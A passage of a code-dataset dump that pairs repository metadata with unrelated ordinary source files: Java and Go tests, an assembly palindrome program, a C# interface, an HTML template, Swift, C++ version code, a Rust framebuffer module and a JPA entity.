] | 1 | 2021-04-10T15:13:04.000Z | 2021-04-23T07:12:25.000Z | src/test/java/com/ttulka/ecommerce/shipping/delivery/DeliveryInfoTest.java | danqulogy/ddd-example-ecommerce | 221e409be49cc30db63abd7a216b7cb1ab293422 | [
"MIT"
] | 26 | 2020-05-03T13:07:16.000Z | 2022-03-08T07:36:20.000Z | package com.ttulka.ecommerce.shipping.delivery;
import org.junit.jupiter.api.Test;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertAll;
import static org.junit.jupiter.api.Assertions.assertThrows;
class DeliveryInfoTest {
@Test
void delivery_info_values() {
DeliveryInfo deliveryInfo = new DeliveryInfo(new DeliveryId(123), new OrderId(456));
assertAll(
() -> assertThat(deliveryInfo.id()).isEqualTo(new DeliveryId(123)),
() -> assertThat(deliveryInfo.orderId()).isEqualTo(new OrderId(456))
);
}
@Test
void delivery_info_values_not_null() {
assertAll(
() -> assertThrows(IllegalArgumentException.class, () -> new DeliveryInfo(null, new OrderId(456))),
() -> assertThrows(IllegalArgumentException.class, () -> new DeliveryInfo(new DeliveryId(123), null))
);
}
}
| 34.178571 | 117 | 0.668757 |
5cd0109341b67a48d3d78bcac22a90649f026d02 | 558 | asm | Assembly | palindrome.asm | basit3000/Assembly-language | 3df71a02d5264dbed52e33ca9bacb5bca6a4d3a2 | [
"MIT"
] | null | null | null | palindrome.asm | basit3000/Assembly-language | 3df71a02d5264dbed52e33ca9bacb5bca6a4d3a2 | [
"MIT"
] | null | null | null | palindrome.asm | basit3000/Assembly-language | 3df71a02d5264dbed52e33ca9bacb5bca6a4d3a2 | [
"MIT"
] | null | null | null | data segment
ends
stack segment
dw 128 dup(0)
ends
code segment
start:
mov ax, data
mov ds, ax
mov es, ax
mov cx, 5
ex:
mov ah, 1
int 21h
mov dl, al
push ax
loop ex
mov dl, 10
mov ah, 02h
int 21h
mov dl, 13
mov ah, 02h
int 21h
mov cx,5
ex2:
pop ax
mov dl, al
mov ah, 2
int 21h
loop ex2
mov ah, 1
int 21h
mov ax, 4c00h
int 21h
ends
end start
| 12.130435 | 21 | 0.430108 |
4b34d8f51f415aee3d18c07bc442136b987a59e1 | 1,696 | go | Go | day12/go/anoff/src/prop_test.go | matason/aoc-2018 | e3aea3906c26beafbeff32c1c5afbac9bb6a94df | [
"MIT"
] | 17 | 2018-11-24T21:47:57.000Z | 2021-12-05T18:06:27.000Z | day12/go/anoff/src/prop_test.go | matason/aoc-2018 | e3aea3906c26beafbeff32c1c5afbac9bb6a94df | [
"MIT"
] | 12 | 2018-11-28T20:42:30.000Z | 2021-05-07T22:57:00.000Z | day12/go/anoff/src/prop_test.go | matason/aoc-2018 | e3aea3906c26beafbeff32c1c5afbac9bb6a94df | [
"MIT"
] | 17 | 2018-11-27T10:32:45.000Z | 2018-12-16T23:51:55.000Z | package main
import (
"testing"
"strings"
"fmt"
)
func TestPotPropagationSimple(t *testing.T) {
rules := extractPropagationRules([]string{"...## => #"})
pots := extractPots("#..#.#..##......###...###")
f := Farm{pots: pots, rules: rules}
f.checkPropagation()
p0 := f.getPot(0)
if p0.willHavePlant != false {
t.Errorf("Wrong propagation, expected:%t", false)
}
p15 := f.getPot(15)
if p15.willHavePlant != true {
fmt.Println(p15)
t.Errorf("Wrong propagation, expected:%t", true)
}
}
func TestPotPropagationComplex(t *testing.T) {
input := readInput("../test.txt")
initState := strings.Split(input[0], ": ")[1]
pots := extractPots(initState)
rules := extractPropagationRules(input[2:])
f := Farm{pots: pots, rules: rules}
tables := []struct{
ix int
exp bool
}{
{0, true},
{10, false},
{18, true},
{9, true},
}
f.checkPropagation()
for _, table := range tables {
p := f.getPot(table.ix)
if p.willHavePlant != table.exp {
t.Errorf("Wrong propagation, expected:%t", table.exp)
}
}
}
func TestFarmProp(t *testing.T) {
input := readInput("../test.txt")
initState := strings.Split(input[0], ": ")[1]
var f Farm
f.pots = extractPots(initState)
f.rules = extractPropagationRules(input[2:])
f.propagate()
f.propagate()
tables := []struct{
ix int
exp bool
}{
{0, true},
{1, true},
{4, true},
{5, true},
{6, false},
{7, false},
{8, false},
{9, true},
{10, true},
{11, false},
}
for _, table := range tables {
p := f.getPot(table.ix)
if p.hasPlant != table.exp {
t.Errorf("Wrong propagation at ix:%d, expected:%t", table.ix, table.exp)
}
}
}
/*
#...#....#.....#..#..#..#.....
##..#.#..#.....#.##..#..##....
*/ | 20.190476 | 75 | 0.584316 |
7565f701354a29b5a5342cff60eea1f9b6de9f8d | 4,564 | cs | C# | Source/AGS.API/Graphics/IRenderLayer.cs | OwenMcDonnell/MonoAGS | 2df26d7a10d5afb724ee1a23635e95ad951d54d2 | [
"Artistic-2.0"
] | 27 | 2015-09-16T04:24:49.000Z | 2021-07-27T02:59:15.000Z | Source/AGS.API/Graphics/IRenderLayer.cs | OwenMcDonnell/MonoAGS | 2df26d7a10d5afb724ee1a23635e95ad951d54d2 | [
"Artistic-2.0"
] | 224 | 2015-10-08T11:30:17.000Z | 2021-03-13T05:43:23.000Z | Source/AGS.API/Graphics/IRenderLayer.cs | OwenMcDonnell/MonoAGS | 2df26d7a10d5afb724ee1a23635e95ad951d54d2 | [
"Artistic-2.0"
] | 13 | 2017-04-16T12:56:08.000Z | 2020-01-23T14:31:55.000Z | namespace AGS.API
{
/// <summary>
/// A render layer is an abstract grouping of objects with similar rendering properties.
/// A render layer has a "Z" property for sorting which takes precedence over specific objects "Z" property.
/// This means that if you have a UI render layer which is configured to be in front of a Background render layer,
/// all objects which are associated with the UI layer will always be in front of the objects that are associated
/// with the background layer.
/// In addition, render layers add support for assigning different parallax speeds, to create beautiful parallax effects.
///
/// AGS comes with a few built in layers that are used by default (Background, Foreground, UI and Speech).
/// Speech layer is in front to ensure that displayed text can always be seen. This is the default layer used for Character.Say.
/// UI layer is next, to ensure that it can always be seen (unless obstructed by text). This is the default layer used for all UI controls.
/// This is followed by the Foreground layer, which is the default for all non UI objects.
/// And lastly the Background layer, which is the default for the room's background graphics.
/// You can assign those layers yourself, using AGSLayers static class:
/// <example>
/// <code language="lang-csharp">
/// cEgo.RenderLayer = AGSLayers.UI; //The player is now on the UI layer!
/// </code>
/// </example>
/// </summary>
public interface IRenderLayer
{
/// <summary>
/// Gets the Z ordering for the layer. The smaller the number, the more visible the layer gets.
/// <example>
/// <code language="lang-csharp">
/// Debug.WriteLine("Z value for the background layer is: " + AGSLayers.Background.Z);
/// </code>
/// </example>
/// </summary>
/// <value>
/// The z.
/// </value>
int Z { get; }
/// <summary>
/// Gets the parallax speed associated with the layer (https://en.wikipedia.org/wiki/Parallax).
/// The speed is the factor by which the location is changed based to the normal speed.
/// Giving different speeds for different layers creates the parallax effect which gives the illusion of 3D depth.
/// This is mostly effective in scrolling screens, as the objects move in relation to the camera.
/// If the room scrolls horizontally (the majority of scrolling rooms), you'd like to change the X value of the parallax speed.
/// If the room scrolls vertically (rare but can happen), you'd like to change the Y value of the parallax speed.
/// All the default layers have parallax speed of 1 (i.e normal speed), so you'll need to create your own layers to enable the parallax effect.
/// The closer the object is to the front, the faster it should go, so it should have a bigger parallax speed.
/// Objects in the foreground should have values larger than 1, and objects in the background should have values smaller than 1.
/// <example>
/// <code language="lang-csharp">
/// PointF parallaxSpeed = new PointF (1.4f, 1f); //all objects in this layer will move at a faster horizontal speed than the rest of the objects.
/// AGSRenderLayer parallaxForegroundLayer = new AGSRenderLayer(-50, parallaxSpeed); //This layer is positioned before the foreground layer and behind the UI layer.
///
/// myObjInFront.RenderLayer = parallaxForegroundLayer;
/// </code>
/// </example>
/// </summary>
/// <value>
/// The parallax speed.
/// </value>
PointF ParallaxSpeed { get; }
/// <summary>
/// A custom virtual resolution that will be used for all objects in this layer, different than the default
/// game's virtual resolution.
/// Null means that the layer does not have a custom resolution and uses the game's resolution.
/// </summary>
/// <example>
/// Let's assume the game resolution is (320,200):
/// The character is using the game's resolution, but the house in the room is in a layer with a (640,400) resolution.
/// This means that if the character's position is (100,100) and the house's position is (200,200) they will
/// actually be drawn in the same location.
/// </example>
/// <value>The independent resolution.</value>
Size? IndependentResolution { get; }
}
}
| 58.512821 | 172 | 0.65206 |
beef54cfaefe2b1b89891242a8e3913cbd279100 | 1,358 | html | HTML | templates/base.html | lajoliefolie/lajoliefolie_flask | 9924b1e4343b4eb39ecbd3782aae2a0da7619bd9 | [
"MIT"
] | null | null | null | templates/base.html | lajoliefolie/lajoliefolie_flask | 9924b1e4343b4eb39ecbd3782aae2a0da7619bd9 | [
"MIT"
] | null | null | null | templates/base.html | lajoliefolie/lajoliefolie_flask | 9924b1e4343b4eb39ecbd3782aae2a0da7619bd9 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html lang="en_US">
<head>
<link href="{{ url_for('static', filename='css/bootstrap.min.css') }}" rel="stylesheet" type="text/css">
<link href="{{ url_for('static', filename='css/lajoliefolie.css') }}" rel="stylesheet" type="text/css">
<link href='https://fonts.googleapis.com/css?family=Roboto Slab' rel='stylesheet'>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="The personal website of Christine Lewis, a Charleston-based software engineer.">
<meta name="author" content="Christine Lewis">
{% block extra_header %}{% endblock %}
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6">
<h1 class="name">Christine Lewis</h1>
</div>
<div class="col-sm-6">
<ul class="button-list">
<li><a class="btn btn-large btn-primary" href="aboutme">About Me</a></li>
<li><a class="btn btn-large btn-primary" href="resume">Résumé</a></li>
<li><a class="btn btn-large btn-primary" href="links">Links</a></li>
</ul>
</div>
</div>
</div>
<div class="container content">
{% block content %}{% endblock %}
</div>
</body>
</html> | 42.4375 | 118 | 0.569219 |
d42a31755fc12d5897d9919f4936d02612f260a4 | 778 | swift | Swift | Sources/Extensions/UIKit/UITextView/UITextViewExtension.swift | jlortz2k8/SwiftyUtils | 4f2fed751536b64c94c7a473c24331c39f7a1d5d | [
"MIT"
] | 534 | 2016-04-24T15:44:16.000Z | 2022-03-12T18:56:57.000Z | Sources/Extensions/UIKit/UITextView/UITextViewExtension.swift | jlortz2k8/SwiftyUtils | 4f2fed751536b64c94c7a473c24331c39f7a1d5d | [
"MIT"
] | 52 | 2016-06-17T15:00:31.000Z | 2021-08-04T11:23:46.000Z | Sources/Extensions/UIKit/UITextView/UITextViewExtension.swift | jlortz2k8/SwiftyUtils | 4f2fed751536b64c94c7a473c24331c39f7a1d5d | [
"MIT"
] | 43 | 2016-04-25T05:48:42.000Z | 2021-09-04T12:15:55.000Z | //
// UITextViewExtension.swift
// SwiftyUtils iOS Tests
//
// Created by Tom Baranes on 26/04/2020.
// Copyright © 2020 Tom Baranes. All rights reserved.
//
#if os(iOS) || os(tvOS)
import UIKit
// MARK: - Font
extension UITextView {
/// Set a dynamic font to the label.
/// - Parameters:
/// - style: The UIFont.TextStyle that will set to the label.
/// - traits: Optional symbolic traits applied to the font. Default value is nil.
@available(iOS 11.0, tvOS 11.0, *)
public func configureDynamicStyle(_ style: UIFont.TextStyle,
traits: UIFontDescriptor.SymbolicTraits? = nil) {
adjustsFontForContentSizeCategory = true
font = UIFont.dynamicStyle(style, traits: traits)
}
}
#endif
| 25.096774 | 87 | 0.638817 |
286107cab9d7b0594b30fade589bcc0cdfaf75b2 | 2,929 | cpp | C++ | third-party/llvm/llvm-src/tools/clang/lib/Basic/Version.cpp | nldias/chapel | 3a63044cd50b639dca8e851d4a505546b57bc299 | [
"ECL-2.0",
"Apache-2.0"
] | 1,602 | 2015-01-06T11:26:31.000Z | 2022-03-30T06:17:21.000Z | third-party/llvm/llvm-src/tools/clang/lib/Basic/Version.cpp | nldias/chapel | 3a63044cd50b639dca8e851d4a505546b57bc299 | [
"ECL-2.0",
"Apache-2.0"
] | 11,789 | 2015-01-05T04:50:15.000Z | 2022-03-31T23:39:19.000Z | third-party/llvm/llvm-src/tools/clang/lib/Basic/Version.cpp | nldias/chapel | 3a63044cd50b639dca8e851d4a505546b57bc299 | [
"ECL-2.0",
"Apache-2.0"
] | 498 | 2015-01-08T18:58:18.000Z | 2022-03-20T15:37:45.000Z | //===- Version.cpp - Clang Version Number -----------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file defines several version-related utility functions for Clang.
//
//===----------------------------------------------------------------------===//
#include "clang/Basic/Version.h"
#include "clang/Basic/LLVM.h"
#include "clang/Config/config.h"
#include "llvm/Support/raw_ostream.h"
#include <cstdlib>
#include <cstring>
#ifdef HAVE_VCS_VERSION_INC
#include "VCSVersion.inc"
#endif
namespace clang {
std::string getClangRepositoryPath() {
#if defined(CLANG_REPOSITORY_STRING)
return CLANG_REPOSITORY_STRING;
#else
#ifdef CLANG_REPOSITORY
return CLANG_REPOSITORY;
#else
return "";
#endif
#endif
}
std::string getLLVMRepositoryPath() {
#ifdef LLVM_REPOSITORY
return LLVM_REPOSITORY;
#else
return "";
#endif
}
std::string getClangRevision() {
#ifdef CLANG_REVISION
return CLANG_REVISION;
#else
return "";
#endif
}
std::string getLLVMRevision() {
#ifdef LLVM_REVISION
return LLVM_REVISION;
#else
return "";
#endif
}
std::string getClangFullRepositoryVersion() {
std::string buf;
llvm::raw_string_ostream OS(buf);
std::string Path = getClangRepositoryPath();
std::string Revision = getClangRevision();
if (!Path.empty() || !Revision.empty()) {
OS << '(';
if (!Path.empty())
OS << Path;
if (!Revision.empty()) {
if (!Path.empty())
OS << ' ';
OS << Revision;
}
OS << ')';
}
// Support LLVM in a separate repository.
std::string LLVMRev = getLLVMRevision();
if (!LLVMRev.empty() && LLVMRev != Revision) {
OS << " (";
std::string LLVMRepo = getLLVMRepositoryPath();
if (!LLVMRepo.empty())
OS << LLVMRepo << ' ';
OS << LLVMRev << ')';
}
return OS.str();
}
std::string getClangFullVersion() {
return getClangToolFullVersion("clang");
}
std::string getClangToolFullVersion(StringRef ToolName) {
std::string buf;
llvm::raw_string_ostream OS(buf);
#ifdef CLANG_VENDOR
OS << CLANG_VENDOR;
#endif
OS << ToolName << " version " CLANG_VERSION_STRING;
std::string repo = getClangFullRepositoryVersion();
if (!repo.empty()) {
OS << " " << repo;
}
return OS.str();
}
std::string getClangFullCPPVersion() {
// The version string we report in __VERSION__ is just a compacted version of
// the one we report on the command line.
std::string buf;
llvm::raw_string_ostream OS(buf);
#ifdef CLANG_VENDOR
OS << CLANG_VENDOR;
#endif
OS << "Clang " CLANG_VERSION_STRING;
std::string repo = getClangFullRepositoryVersion();
if (!repo.empty()) {
OS << " " << repo;
}
return OS.str();
}
} // end namespace clang
| 22.705426 | 80 | 0.630591 |
3d38c528994ccf7b0a8a26863f958e44d816a5c7 | 7,255 | rs | Rust | kernel/src/graphics.rs | skoji/laranja-os | 3b06ce3e7bbf5ce78fd22519351295c3fe5c550f | [
"BSD-3-Clause"
] | 12 | 2021-04-20T11:04:34.000Z | 2022-03-08T08:52:51.000Z | kernel/src/graphics.rs | skoji/rust-uefi-mikan | 3b06ce3e7bbf5ce78fd22519351295c3fe5c550f | [
"BSD-3-Clause"
] | null | null | null | kernel/src/graphics.rs | skoji/rust-uefi-mikan | 3b06ce3e7bbf5ce78fd22519351295c3fe5c550f | [
"BSD-3-Clause"
] | null | null | null | use crate::ascii_font::FONTS;
use crate::println;
use core::mem::MaybeUninit;
#[derive(Debug, Copy, Clone)]
#[repr(u32)]
pub enum PixelFormat {
Rgb = 0,
Bgr,
Bitmask,
BltOnly,
}
#[derive(Debug, Copy, Clone, Eq, PartialEq)]
#[repr(C)]
pub struct PixelBitmask {
pub red: u32,
pub green: u32,
pub blue: u32,
pub reserved: u32,
}
#[derive(Debug, Copy, Clone)]
#[repr(C)]
pub struct ModeInfo {
pub version: u32,
pub hor_res: u32,
pub ver_res: u32,
pub format: PixelFormat,
pub mask: PixelBitmask,
pub stride: u32,
}
impl ModeInfo {
pub fn resolution(&self) -> (usize, usize) {
(self.hor_res as usize, self.ver_res as usize)
}
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct FrameBuffer {
base: *mut u8,
size: usize,
}
impl FrameBuffer {
pub fn as_mut_ptr(&mut self) -> *mut u8 {
self.base
}
pub fn size(&self) -> usize {
self.size
}
/// Write to th index-th byte of the framebuffer
///
/// # Safety
/// This is unsafe : no bound check.
pub unsafe fn write_byte(&mut self, index: usize, val: u8) {
self.base.add(index).write_volatile(val);
}
/// Write to th index-th byte of the framebuffer
///
/// # Safety
/// This is unsafe : no bound check.
pub unsafe fn write_value(&mut self, index: usize, value: [u8; 3]) {
(self.base.add(index) as *mut [u8; 3]).write_volatile(value)
}
}
#[derive(Copy, Clone, Debug)]
pub struct PixelColor(pub u8, pub u8, pub u8); // RGB
// static singleton pointer
static mut RAW_GRAPHICS: MaybeUninit<Graphics> = MaybeUninit::<Graphics>::uninit();
static mut GRAPHICS_INITIALIZED: bool = false;
#[derive(Copy, Clone)]
pub struct Graphics {
fb: FrameBuffer,
mi: ModeInfo,
pixel_writer: unsafe fn(&mut FrameBuffer, usize, &PixelColor),
rotated: bool,
double_scaled: bool,
}
impl Graphics {
pub fn new(fb: FrameBuffer, mi: ModeInfo) -> Self {
unsafe fn write_pixel_rgb(fb: &mut FrameBuffer, index: usize, rgb: &PixelColor) {
fb.write_value(index, [rgb.0, rgb.1, rgb.2]);
}
unsafe fn write_pixel_bgr(fb: &mut FrameBuffer, index: usize, rgb: &PixelColor) {
fb.write_value(index, [rgb.2, rgb.1, rgb.0]);
}
let pixel_writer = match mi.format {
PixelFormat::Rgb => write_pixel_rgb,
PixelFormat::Bgr => write_pixel_bgr,
_ => {
panic!("This pixel format is not supported by the drawing demo");
}
};
// Hardcode for GPD Pocket resolution
let rotated = mi.resolution() == (1200, 1920);
let double_scaled = mi.resolution() == (1200, 1920);
Graphics {
fb,
mi,
pixel_writer,
rotated,
double_scaled,
}
}
pub fn instance() -> &'static mut Self {
if unsafe { !GRAPHICS_INITIALIZED } {
panic!("graphics not initialized");
}
unsafe { &mut *RAW_GRAPHICS.as_mut_ptr() }
}
///
/// # Safety
/// This is unsafe : handle raw pointers.
pub unsafe fn initialize_instance(fb: *mut FrameBuffer, mi: *mut ModeInfo) {
core::ptr::write(RAW_GRAPHICS.as_mut_ptr(), Graphics::new(*fb, *mi));
GRAPHICS_INITIALIZED = true;
}
/// Write to the pixel of the buffer
///
pub fn write_pixel(&mut self, mut x: usize, mut y: usize, color: &PixelColor) {
let (width, height) = self.resolution();
if x > width {
println!("bad x coord: {}", x);
return;
}
if y > height as usize {
println!("bad y coord: {}", y);
return;
}
if self.rotated {
let oy = y;
y = x;
x = height - oy;
}
if self.double_scaled {
x *= 2;
y *= 2;
self.write_actual_pixel(x, y, color);
self.write_actual_pixel(x + 1, y, color);
self.write_actual_pixel(x, y + 1, color);
self.write_actual_pixel(x + 1, y + 1, color);
} else {
self.write_actual_pixel(x, y, color);
}
}
fn write_actual_pixel(&mut self, x: usize, y: usize, color: &PixelColor) {
let pixel_index = y * (self.mi.stride as usize) + x;
let base = 4 * pixel_index;
unsafe {
(self.pixel_writer)(&mut self.fb, base, color);
}
}
pub fn write_ascii(&mut self, x: usize, y: usize, c: char, color: &PixelColor) {
if (c as u32) > 0x7f {
return;
}
let font: [u8; 16] = FONTS[c as usize];
for (dy, line) in font.iter().enumerate() {
for dx in 0..8 {
if (line << dx) & 0x80 != 0 {
self.write_pixel(x + dx, y + dy, &color);
}
}
}
}
pub fn write_string(
&mut self,
mut x: usize,
mut y: usize,
str: &str,
color: &PixelColor,
) -> (usize, usize) {
let first_x = x;
let (width, height) = self.resolution();
for c in str.chars() {
self.write_ascii(x, y, c, color);
x += 8;
if x > width {
x = first_x;
y += 20;
}
if y > height {
// can not write
return (x, y);
}
}
(x, y)
}
pub fn resolution(&self) -> (usize, usize) {
let r = self.mi.resolution();
let r = if self.rotated { (r.1, r.0) } else { r };
if self.double_scaled {
(r.0 / 2, r.1 / 2)
} else {
r
}
}
pub fn clear(&mut self, color: &PixelColor) {
let (width, height) = self.resolution();
for y in 0..height {
for x in 0..width {
self.write_pixel(x, y, color);
}
}
}
pub fn fb(&self) -> FrameBuffer {
self.fb
}
pub fn mi(&self) -> ModeInfo {
self.mi
}
pub fn text_writer(
&mut self,
first_x: usize,
first_y: usize,
color: &PixelColor,
) -> TextWriter {
TextWriter::new(self, first_x, first_y, color)
}
}
pub struct TextWriter<'a> {
graphics: &'a mut Graphics,
first_x: usize,
first_y: usize,
x: usize,
y: usize,
color: PixelColor,
}
impl<'a> TextWriter<'a> {
pub fn new(
graphics: &'a mut Graphics,
first_x: usize,
first_y: usize,
color: &PixelColor,
) -> Self {
TextWriter {
graphics,
first_x,
first_y,
x: first_x,
y: first_y,
color: *color,
}
}
pub fn reset_coord(&mut self) {
self.x = self.first_x;
self.y = self.first_y;
}
pub fn change_color(&mut self, color: &PixelColor) {
self.color = *color;
}
}
impl<'a> core::fmt::Write for TextWriter<'a> {
fn write_str(&mut self, s: &str) -> core::fmt::Result {
let (x, y) = self.graphics.write_string(self.x, self.y, s, &self.color);
self.x = x;
self.y = y;
Ok(())
}
}
| 25.190972 | 89 | 0.513577 |
fb3777a1ee314e059d7da6e41ae0e5b575c6e956 | 79 | sql | SQL | test/samples/sql/create-column-constraint.sql | johnbender/sql-delta | 100a2a03756b2bc598df02f4e76097e768b17c40 | [
"MIT"
] | 2 | 2015-05-04T11:05:49.000Z | 2017-11-25T01:55:08.000Z | test/samples/sql/create-column-constraint.sql | johnbender/sql-delta | 100a2a03756b2bc598df02f4e76097e768b17c40 | [
"MIT"
] | null | null | null | test/samples/sql/create-column-constraint.sql | johnbender/sql-delta | 100a2a03756b2bc598df02f4e76097e768b17c40 | [
"MIT"
] | null | null | null | CREATE TABLE foo (
bar text,
baz numeric,
bak numeric CHECK (bak > 0)
);
| 13.166667 | 29 | 0.632911 |
5a8b05653d240da6f1819051b2d6f326844934e9 | 2,672 | html | HTML | src/client/app/components/pages/pages.component.html | adibb83/AI-Admin | 79968583ab45a1ec93713975bac7ce6544103bcf | [
"MIT"
] | null | null | null | src/client/app/components/pages/pages.component.html | adibb83/AI-Admin | 79968583ab45a1ec93713975bac7ce6544103bcf | [
"MIT"
] | 1 | 2022-03-02T06:30:32.000Z | 2022-03-02T06:30:32.000Z | src/client/app/components/pages/pages.component.html | adibb83/AI-Admin | 79968583ab45a1ec93713975bac7ce6544103bcf | [
"MIT"
] | null | null | null | <div id="mainPageLayout">
<div id="mobileMenu">
<button (click)="toggleMenu()" class="hamburger">
<span>toggle menu</span></button>
<a id="sidedrawer-brand">
<img src="../images/ovi_logo.svg">
</a>
<button md-button></button>
</div>
<aside [@slideInOut]="menuState">
<ul>
<li>
<a id="sidedrawer-brand">
<img src="../images/ovi_logo.svg">
</a>
</li>
<li *ngIf="this._authTokenService.getAdminTokenFromCookie()"> <a [routerLink]="['/pages/admin']" routerLinkActive="active">Admin</a> </li>
<li *ngIf="showAllNavChildren"><a id="firstLi" [routerLink]="['/pages/frontDesk']" routerLinkActive="active">front desk</a></li>
<li *ngIf="showAllNavChildren"><a id="secendLi" [routerLink]="['/pages/knowledge']" routerLinkActive="active">Knowledge</a></li>
<li *ngIf="showAllNavChildren"><a id="thirdLi" [routerLink]="['/pages/workers']" routerLinkActive="active">team</a></li>
<li *ngIf="showAllNavChildren"><a id="fourthLi" [routerLink]="['/pages/calls']" routerLinkActive="active">call Log</a></li>
<li> <a (click)="logout()">log out</a></li>
</ul>
</aside>
<div id="scroller" class="content-container">
<div class="content-area">
<router-outlet></router-outlet>
</div>
</div>
<!--*ngIf="messageObject?.showMessage"-->
<div id="MessageBanner" *ngIf="messageObject?.showMessage">
<p>{{messageObject?.message}}</p>
</div>
<div class="modal" *ngIf="loaderObj.show">
<div class="spinner">
<div class="rect1"></div>
<div class="rect2"></div>
<div class="rect3"></div>
<div class="rect4"></div>
<div class="rect5"></div>
<br>
<span>{{loaderObj.text}}...</span>
</div>
</div>
<!--<div id="navContainer">
<div id="logosContainer">
<div>
<a class="nav-link" href="#" [routerLink]="['/account/home']" routerLinkActive="active"></a>
</div>
</div>
<nav>
<ul class="nav">
<li>
<a id="firstLi" class="nav-link" href="#" [routerLink]="['/pages/company']" routerLinkActive="active">Company</a>
</li>
<li>
<a class="nav-link" href="#" [routerLink]="['/pages/team']" routerLinkActive="active">Team</a>
</li>
<li>
<a class="nav-link" href="#" [routerLink]="['/pages/knowledge_base']" routerLinkActive="active">Knowledge base</a>
</li>
<li *ngIf="false">
<a class="nav-link" [routerLink]="['/pages/forms']" routerLinkActive="active">Forms</a>
</li>
<li style="float: right;">
<a class="nav-link" href="#" (click)="logout()">logout</a>
</li>
</ul>
</nav>
</div>-->
| 34.25641 | 144 | 0.577844 |
64dfd4ee656d2e1e817ba6d2c99b7a860725c598 | 5,011 | java | Java | src/main/java/com/tuin/bean/jpa/DestinohorarioEntity.java | appecapps/tuinstrflt | c525c491c84cc496e02c01967e40463dd0be5672 | [
"MIT"
] | null | null | null | src/main/java/com/tuin/bean/jpa/DestinohorarioEntity.java | appecapps/tuinstrflt | c525c491c84cc496e02c01967e40463dd0be5672 | [
"MIT"
] | null | null | null | src/main/java/com/tuin/bean/jpa/DestinohorarioEntity.java | appecapps/tuinstrflt | c525c491c84cc496e02c01967e40463dd0be5672 | [
"MIT"
] | null | null | null | /*
* Created on 28 ago 2017 ( Time 17:50:58 )
* Generated by Telosys Tools Generator ( version 2.1.1 )
*/
// This Bean has a basic Primary Key (not composite)
package com.tuin.bean.jpa;
import java.io.Serializable;
//import javax.validation.constraints.* ;
//import org.hibernate.validator.constraints.* ;
import java.math.BigDecimal;
import java.util.List;
import javax.persistence.*;
/**
* Persistent class for entity stored in table "destinohorario"
*
* @author Telosys Tools Generator
*
*/
@Entity
@Table(name="destinohorario", catalog="app" )
// Define named queries here
@NamedQueries ( {
@NamedQuery ( name="DestinohorarioEntity.countAll", query="SELECT COUNT(x) FROM DestinohorarioEntity x" )
} )
public class DestinohorarioEntity implements Serializable {
private static final long serialVersionUID = 1L;
//----------------------------------------------------------------------
// ENTITY PRIMARY KEY ( BASED ON A SINGLE FIELD )
//----------------------------------------------------------------------
@Id
@GeneratedValue(strategy=GenerationType.IDENTITY)
@Column(name="id", nullable=false)
private Long id ;
//----------------------------------------------------------------------
// ENTITY DATA FIELDS
//----------------------------------------------------------------------
@Column(name="costo", nullable=false)
private BigDecimal costo ;
@Column(name="minimoPasajeros", nullable=false)
private Integer minimopasajeros ;
@Column(name="automatico", nullable=false)
private Byte automatico ;
// "horarioid" (column "horarioId") is not defined by itself because used as FK in a link
// "destinoid" (column "destinoId") is not defined by itself because used as FK in a link
//----------------------------------------------------------------------
// ENTITY LINKS ( RELATIONSHIP )
//----------------------------------------------------------------------
@ManyToOne
@JoinColumn(name="destinoId", referencedColumnName="id")
private CiudadEntity ciudad ;
@ManyToOne
@JoinColumn(name="horarioId", referencedColumnName="id")
private HorarioEntity horario ;
@OneToMany(mappedBy="destinohorario", targetEntity=ViajeEntity.class)
private List<ViajeEntity> listOfViaje ;
//----------------------------------------------------------------------
// CONSTRUCTOR(S)
//----------------------------------------------------------------------
public DestinohorarioEntity() {
super();
}
//----------------------------------------------------------------------
// GETTER & SETTER FOR THE KEY FIELD
//----------------------------------------------------------------------
public void setId( Long id ) {
this.id = id ;
}
public Long getId() {
return this.id;
}
//----------------------------------------------------------------------
// GETTERS & SETTERS FOR FIELDS
//----------------------------------------------------------------------
//--- DATABASE MAPPING : costo ( DECIMAL )
public void setCosto( BigDecimal costo ) {
this.costo = costo;
}
public BigDecimal getCosto() {
return this.costo;
}
//--- DATABASE MAPPING : minimoPasajeros ( INT )
public void setMinimopasajeros( Integer minimopasajeros ) {
this.minimopasajeros = minimopasajeros;
}
public Integer getMinimopasajeros() {
return this.minimopasajeros;
}
//--- DATABASE MAPPING : automatico ( TINYINT )
public void setAutomatico( Byte automatico ) {
this.automatico = automatico;
}
public Byte getAutomatico() {
return this.automatico;
}
//----------------------------------------------------------------------
// GETTERS & SETTERS FOR LINKS
//----------------------------------------------------------------------
public void setCiudad( CiudadEntity ciudad ) {
this.ciudad = ciudad;
}
public CiudadEntity getCiudad() {
return this.ciudad;
}
public void setHorario( HorarioEntity horario ) {
this.horario = horario;
}
public HorarioEntity getHorario() {
return this.horario;
}
public void setListOfViaje( List<ViajeEntity> listOfViaje ) {
this.listOfViaje = listOfViaje;
}
public List<ViajeEntity> getListOfViaje() {
return this.listOfViaje;
}
//----------------------------------------------------------------------
// toString METHOD
//----------------------------------------------------------------------
public String toString() {
StringBuffer sb = new StringBuffer();
sb.append("[");
sb.append(id);
sb.append("]:");
sb.append(costo);
sb.append("|");
sb.append(minimopasajeros);
sb.append("|");
sb.append(automatico);
return sb.toString();
}
}
| 30.742331 | 107 | 0.484534 |
c5fc443115a8ff33026ac9bfa104e9ab490fa094 | 4,058 | swift | Swift | SwiftCommon/SwiftCommon/File/DataType.swift | johnosullivan/SwiftCommon | 1fd5e056237e9170ce6b232e20d78fee5f43107d | [
"MIT"
] | 1 | 2019-03-23T15:38:40.000Z | 2019-03-23T15:38:40.000Z | SwiftCommon/SwiftCommon/File/DataType.swift | johnosullivan/SwiftCommon | 1fd5e056237e9170ce6b232e20d78fee5f43107d | [
"MIT"
] | null | null | null | SwiftCommon/SwiftCommon/File/DataType.swift | johnosullivan/SwiftCommon | 1fd5e056237e9170ce6b232e20d78fee5f43107d | [
"MIT"
] | null | null | null |
import Foundation
/// A type that can be used to read from and write to File instances.
public typealias DataType = protocol<Readable, Writable>
/// A type that can be used to read from File instances.
public protocol Readable {
